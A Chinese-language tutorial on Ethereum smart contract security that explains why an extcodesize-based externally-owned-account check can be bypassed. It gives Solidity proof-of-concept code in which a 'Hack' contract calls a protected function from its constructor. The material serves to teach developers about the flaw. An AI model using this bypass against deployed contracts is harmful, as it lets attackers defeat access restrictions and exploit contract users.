合约安全:绕开外部用户地址(EOA)检查
2022-12-08 本文已影响0人
梁帆
一、背景
以太坊的地址,可能是外部用户地址(Externally Owned Accounts ,缩写EOA),也可能是合约地址。有时候想要区分这两种地址,或者说,很多时候是限制其他合约地址进行跨合约调用,以防止发生黑客攻击。这会用到一个EVM指令:extcodesize
。
这个指令可以获取地址关联代码长度。
比如下面的这个合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Test {
function getAddressCodeSize(address account) public view returns (uint size) {
assembly {
size := extcodesize(account)
}
}
}
contract Demo {
constructor() {}
}
我们可以测出,Demo合约的长度是63,而一个普通用户的长度为0。
但是存在漏洞,可以绕开EOA检查。
二、漏洞
漏洞就在于,如果攻击合约在构造函数中进行跨合约调用,那么此时的extcodesize
返回的关联地址代码长度也为0,即可判定为EOA地址。因为只有当合约的构造函数执行完成,合约代码才会保存下来。
还记得我们之前在《以太坊Transaction中的三种data解析以及bytecode和deployedBytecode的区别》末尾提到过的bytecode
和deployedBytecode
的区别吗?
deployedBytecode
,它去掉了初次部署才会执行的构造函数代码。
如下合约可以表现出这个漏洞:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Target {
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target block calls from contract
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}
contract Hack {
bool public isContract;
address public addr;
// When contract is being created, code size (extcodesize) is 0.
// This will bypass the isContract() check
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// This will work
Target(_target).protected();
}
}
这个合约做了EOA检查,一般的攻击合约如FailedAttack没有办法攻破,但是当Hack中直接在constructor函数里跨合约调用的话,就可以绕过EOA检查了。